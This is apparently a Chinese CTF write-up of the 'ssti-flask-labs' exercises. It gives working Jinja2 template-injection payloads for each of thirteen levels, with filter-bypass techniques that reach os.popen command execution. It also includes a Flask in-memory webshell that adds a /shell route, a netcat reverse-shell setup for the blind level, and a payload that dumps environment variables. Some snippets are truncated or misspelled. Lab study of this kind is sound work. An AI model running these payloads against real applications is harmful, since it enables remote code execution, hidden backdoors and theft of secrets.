Ssti-Flask-Labs
ssti-flask-labs
ssti打内存马
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
第一关
第一关轻松过,没waf,找了半天的os模块在哪,一直以为是132,结果在133.。。。。。
1 | {{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}} |
第二关({})
过滤了{},可以用{%%}来代替
原谅我,想了半天,也不知道怎么进入下一关,最后问了大佬想起来要url就好了,我是憨憨,呜呜呜
上一题的playload改一下就好了
不过要加一个print
1 | {%print(().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read())%} |
过了过了,很快的过了
第三关(无回显)
这一关遇到了挫折,,搞了好久,外带带不出来,最后借用别人搭的靶场,自己在虚拟机用docker起镜像,搭容器,
首先在虚拟机里搭装好nc,如果是乌班图就不用装了,他自己带nc,这是在虚拟机里的安装命令,Windows的话命令会不一样,可以自己去找一下
2.解压netcat压缩包
tar -zxvf ./netcat-0.7.1.tar.gz
3.进入netcat目录中运行
./configure
4.执行编译和安装
make&&make install
5.退出编译
make clean
1
2
3
4
5
我用的乌班图(ubuntu)搭的docker,首先安装docker:https://blog.csdn.net/web13170611647/article/details/126746625
跟这以上文章docker安装完成后,
1.改变下载源:
输入命令:vim docker.json
{
“registry-mirror”:[“https://docker.mirrors.ustc.edu.cn"]
}
将以上内容写进去之后输入(:wq!)退出
2.把容器下载下来
docker puul mcc0624/flask_ssti:last
3.docker images
4.sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’
到这一步容器就安装完成了
1 |
|
运行它,在虚拟机命令行执行
1 | nc -lvnp 8888 |
netcat 192.168.86.129 8888 -e /bin/bash’
这里的地址一定要弹到你的虚拟机的地址
连接上之后,命令执行,得到flag
第四关([])
过滤了[]
还是可以的
1 | {{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}} |
第五关(‘’ “”)
过滤了单双引号 ‘’ “”
1 | get :http://192.168.86.129:18080/flasklab/level/5?a=popen&&b=cat flag |
第六关(__)
过滤了__
###方法一:attr+request.args
1 | GET: |
1 | POST: |
方法二:unicode编码
1 |
|
第七关(.)
过滤了.
attr
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|atttr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat flag')|attr('read')()}} |
[]代替.
1 | {{()['__class__']['__base__']['__subclasses__']()['__getitem__'](117)['__init__']['__globals__']['__getitem__']('popen')('cat flag')['read']()}} |
第八关
WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
###1.+号拼接
1 | {{()['__cla'+'ss__']['__b'+'ase__']['__subclas'+'ses__']()['__getitem__'](117)['__ini'+'t__']['__glob'+'als__']['__getitem__']('po'+'pen')('cat flag')['read']()}} |
2.jianjia2中的~拼接
1 | {%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set aa='__in'%}{%set bb='it__'%}{%set cc='__glo'%}{%set dd='bals__'%}{{()[a~b][c~d][e~f]()[117][aa~bb][cc~dd]['po'+'pen']('cat flag')['read']()}} |
3.reverse replace join等过滤器
1 | reverse: |
1 | replace: |
1 | join:()join读键名,即读取__cla 和ss |
第九关(数字0-9)
1 | {%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaa'|length-'a'|length%}{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaa'|length-'aaa'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat flag').read()}} |
第十关
1 | url_for: |
1 | get_flashed_messages: |
第十一关
11关过滤了一堆东西,先确定一个利用的基本payload
1 | {{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}} |
利用flask内置函数和对象获取符号
1 | {% set ben = ({ }select()[string()) %]{ben}}#获取下划线 |
1 | {%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(cat=1)|join,kg,dict(flag=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}} |
第十二关
在11的基础上多了数字,下划线
{{lipsum|string|list}}可以读取字符
{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=nine+nine%}{{nine,eighteen}}
基础playload:
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
1 | code={% set nine=dict(aaaaaaaaa=a)|join|count %}{% set eighteen=nine+nine %}{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(nine)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat,space,dict(flag=a)|join)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}} |
第十三关
1 | {% set pop=dict(pop=a)|join %}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}{% set space=(lipsum|string|list)|attr(pop)(9)%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat,space,dict(flag=a)|join)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}} |
针对flag在app/flag下的
1 | {%print(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(globals=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(getitem=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2~(dict(builtins=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(getitem=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((dict(eval=x)|join)))((lipsum|escape|batch(22)|list|first|last)*2~(dict(import=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((dict(os=x)|join))|attr((dict(popen=x)|join)))(((((lipsum()|urlencode|first)~(dict(c=x)|join))*12)%(199,97,116,32,97,112,112,47,102,108,97,103))))|attr((dict(read=x)|join)))()))%} |
究极过滤payload:
1 | {% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}{% set gb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set get=dict(get=a)|join%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set ca=dict(ca=a,t=a)|join%} |
外带playload
1 |
|
1 | {%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%} |